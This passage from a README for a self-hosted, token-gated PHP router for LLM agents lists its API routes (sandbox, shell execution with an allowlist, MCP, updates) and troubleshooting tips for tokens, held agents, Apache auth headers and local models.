โ ๏ธ Some tests skip instead of pass, and each prints aSKIP:line when it does:sandbox.test.phpskips its git checks when git is missing or its commands are refused in the temporary directory;guards.test.phpskips ifproc_openis disabled, no loopback port can be bound, or a checkout has nostorage/sessions/*.jsonyet; andapacheGuards.test.phpskips when there is no Apache to boot โ pointROUTER_HTTPDat one to run it (its nested-copy checks also skip when no second copy of the app is present). A green run therefore does not cover those cases โ read the line, it is not a pass.
๐ Cutting a release? RELEASING.md is the checklist: which of the two version numbers to bump, and the three places
APP_VERSIONhas to change together so a browser cannot mix a new module with an old one.
All under /router/api/โฆ (or /api/โฆ). Every route is token-gated.
Full route table and error format
| Area | Routes |
|---|---|
| ๐๏ธ State / config | GETยทPUT /state, GETยทPUT /config (secrets masked on read, restored on write), GET /models |
| ๐ฌ Sessions | GETยทPOST /sessions, GETยทPUTยทDELETE /sessions/{id}, DELETE /sessions/close/{id} |
| ๐ค Models / relay | POST /query, POST /llm (relay + stream), GET /catalog |
| ๐ ๏ธ Sandbox | GET /sandbox/status, POST /sandbox/{search,fetch,read,write,list,glob,grep,str_replace,insert,apply_patch,multi_edit,git,git_commit,http,code,program,โฆ} |
| ๐ฅ๏ธ Programs | POST /sandbox/program โ {action:open|close|list, name, force} |
| ๐ง๐ป Shell | POST /exec, GET /exec/allowlist, GET /exec/pending, POST /exec/decide |
| ๐ MCP | GETยทPOST /mcp/servers, GET /mcp/status, POST /mcp/tools, POST /mcp/call |
| ๐ฅ๏ธ MCP server | POST /mcp-server (JSON-RPC), GETยทPOST /mcp-server/config |
| ๐งช Lab / proxy | POST /lab, GET /proxies, POST /proxy-ping, GETยทPUT /proxy-active |
| ๐ Misc | GET /topology, POST /diag, GET /backup, POST /import, GET /export/{id}, POST /audio/{speak,transcribe} |
| ๐ Updates | GET /update (status + cached plan + whether it can install), GET /update/check (is a newer release published? cached one hour โ POST asks now), POST /update/download (fetch, verify, diff), POST /update/discard, GET /update/state (phase, preflight, backups, log tail), POST /update/backup, POST /update/install (replaces app files), POST /update/finish (swap in a file an install had to defer), POST /update/rollback. Only check and download need curl โ the rest work offline on files already on disk |
Failures come back as {"error": "..."} with HTTP 400 and a message meant for the model, so a refused path reads as "outside the allowed directories" rather than a blank 500.
- "PHP's curl extension is not enabled" โ the server was started without the launcher (e.g. a bare
php -S). Usestart.bat/start.sh, or runphp serve.php --setup. - Every request returns 401 โ the Access token isn't pasted on this device. The token is per-device; paste it in Config โ Access token. A 403
local requests onlyis a different thing: this copy has no token set and is answering this machine only (ยง21) โ run./setup-token.sh(Windows:start.bat -Token), then paste that token on the phone as well as the PC. - Phone shows an empty UI or immortal 401s โ a split-brain load. Deploy the whole
ui/folder (never single files) and hard-refresh โ mixing module versions gives each its own store. - Agents "won't use tools" โ check for a global pre-prompt that says "reply with ONLY text / N words" โ it fights the tool protocol. The tool instructions now override it and the loop re-prompts once, but turning it off is cleanest. A fleet-wide house rule is fine โ just remember it prepends to each agent's prompt by default (or replaces it if you flip the toggle in the editor).
- An agent's badge says HELD and nothing happens โ it's parked. A cap (Config โ Limits & Budgets โ Max iterations / Max minutes) held it, or you stopped it by hand. Click Config โ Permissions โ RELEASE HELD AGENTS (or toggle the master switch off and on). To loop forever, set both caps to
0and give the agent a real standing goal โ a goal ofidlegives it nothing to aim at, so it will wander. - Always-on stops when you leave the tab โ turn on Config โ Permissions โ Run while tab is hidden (it drives the timer from a Web Worker). It is off by default so a background loop can't bill you silently.
- A model returns nothing / "NetworkError" โ on Windows PHP's built-in server is single-threaded; use
start.bat(Apache) for parallel agents, orstart-php.batfor one at a time. - MCP client gets
missing bearer tokeneven with a token โ under Apache + PHP-FPM theAuthorizationheader is stripped before PHP sees it. Redeployapi/.htaccess(shipped): it hasCGIPassAuth Onplus theRewriteCond %{HTTP:Authorization}fallback, so$_SERVER['HTTP_AUTHORIZATION']is populated. Without that file both are empty. If a proxy/WAF also strips the header, the host must allow it through (nginx:fastcgi_param HTTP_AUTHORIZATION $http_authorization;). - Local models not connecting โ make sure Ollama/LM Studio is running and reachable (Ollama
:11434, LM Studio:1234). - A reply arrives as raw JSON โ the server answered in a shape the app did not recognise, and the last-resort fallback printed the body rather than swallowing it. The
{"output":[{"type":"message","content":โฆ}],"stats":{โฆ}}envelope is read natively as of v374 โ hard-refresh first, because the newer parsers live inui/js/harness.jsand an open tab keeps the old bundle. A body in some other shape still arrives verbatim on purpose: that is how a missing shape gets noticed, and teaching the extractor another one is a few lines insrc/Harness.phpplus its browser copy.
Copyright โ M. Bryce Hudson 2026-2029 All Rights Reserved See LICENSE. ๐
Made by MBHudson

















